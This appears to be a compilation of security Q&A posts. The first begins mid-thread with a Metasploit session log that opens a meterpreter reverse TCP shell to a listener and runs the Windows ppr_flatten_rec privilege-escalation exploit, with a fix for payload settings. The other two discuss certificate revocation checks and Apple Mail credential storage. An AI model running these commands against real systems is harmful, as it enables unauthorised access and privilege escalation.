   SESSION  1                yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.85.158   yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

The solution to my problem was explained in the comments by Mukesh (many thank to schroeder for having the time to help me to structure better the question). The solution is to set PAYLOAD again before each local exploit you are going to use.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.0.1:4444
[*] Sending stage (847604 bytes) to 192.168.0.158
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 192.168.0.158:57772) at 2018-01-11 16:30:40 -0500

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(ppr_flatten_rec) > set PAYLOAD windows/meterpreter/reverse_tcp  <------- [previously this was missing]
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ppr_flatten_rec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(ppr_flatten_rec) > set LPORT 4445
LPORT => 4445
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.1     yes       The listen address
   LPORT     4445             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ppr_flatten_rec) > set SESSION 1
SESSION => 1
msf exploit(ppr_flatten_rec) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.1:4445  <----- [Now the IP is the correct one]


Website Certificate Revocation check - Big deal? As I was about to make payment for my flight ticket, I noticed something strange with the British Airways website's SSL cert. My browser (Google Chrome) was unable to check whether the certificate has been revoked or not! Here's the exact message:

The message from Google Chrome says:

  The identity of this website has been verified by GlobalSign Extended Validation CA - SHA256 - G2 but does not have public audit records.

  Unable to check whether the certificate has been revoked.

I checked certification information and it looks like there's no other problem with the certificate itself. Things that I would like to know:

Is it safe to continue with process knowing the fact that your
browser is unable to check cert revocation?
How exactly can you confirm if a particular cert has been revoked or
not?

Revocation is the only method by which a certificate authority may propagate the information that a private key has been compromised. It is, in fact, a damage containment system: in the unfortunate event of a private key being stolen, the revocation system will make sure that nobody trusts the corresponding certificate more than one week or so after the theft is noticed and reported. If a client does not check revocation status, or bypasses it (as you are proposing to do), then this "one week" delay is extended to the expiration date of the certificate, which can be years away.

By definition, not checking revocation (or ignoring a failure to check revocation) weakens the system, so it cannot be said that it is "safe". But maybe it is not utterly risky. In practice, risks of connecting to a fake Web site are low, because stolen credit card numbers are not worth a lot, and running a fake Web site that successfully emulates a real airline reservation system is a lot of work; hackers who could steal the private key would probably not do that. But that's your decision to take, not mine.

If your browser could not ascertain the revocation status, then chances are that you cannot do it yourself either. However, it may be interesting to know what exactly has happened. Normally, each certificate in the chain contains a URL to the location of the relevant CRL (in a CRL Distribution Points extension). Maybe some of these Web sites are currently unreachable; maybe the CRL they host are out of date, thus revealing a technical glitch on the CA side.

(From my machine, right now, the British Airways certificate looks fine, including revocation status, so chances are that the glitch was temporary.)


How does Mail.app handle account credentials? I am looking for an iOS email client that is reasonably secure (ideally, this means that it doesn't store user credentials outside the device - so something like Spark or Outlook for iOS are a no go for me).

I was thinking about the built-in Apple Mail.app but I couldn't find much about its security, so I have a few questions:

Are my account usernames and passwords stored outside of my device at any time if I use this app?
Is there any way to make sure (or to prove beyond reasonable doubt) that the creator of a mail app does not have access to the content of my emails?
Bonus: does the situation improve if I disable push notifications?

I think this could be a useful discussion for those who are choosing their company's email client of choice and how to prove that one is or is not suitable for corporate use.

Note: this really only focuses on account credentials and email access, not on security in transit, which is already covered in this question.

The default mail app's credentials are stored on the device but could leak to either a local (iTunes) backup if backup encryption is turned on or to iCloud if cloud backup is enabled.

For third-party mail apps there are no ways to prove they aren't malicious besides disassembling it and reading the whole disassembly (good luck!).

Now your second question seems a little absurd. Obviously for a mail app to work it needs to have access to the content of your mails, so all mail clients do have access to that. I assume you wanted to ask about whether the app's developer had access to your mail contents, and that also depends on whether the app binary has any "feature" that would upload email contents or credentials to the developer.

Push notifications are a reasonable excuse to share account credentials with the developer (due to Apple's stupid policy about not allowing apps to run in the background for more than 5 minutes) however if the developer is malicious they could upload the credentials even though you disabled notifications.

In the end, if you don't trust an app's developer, don't install it.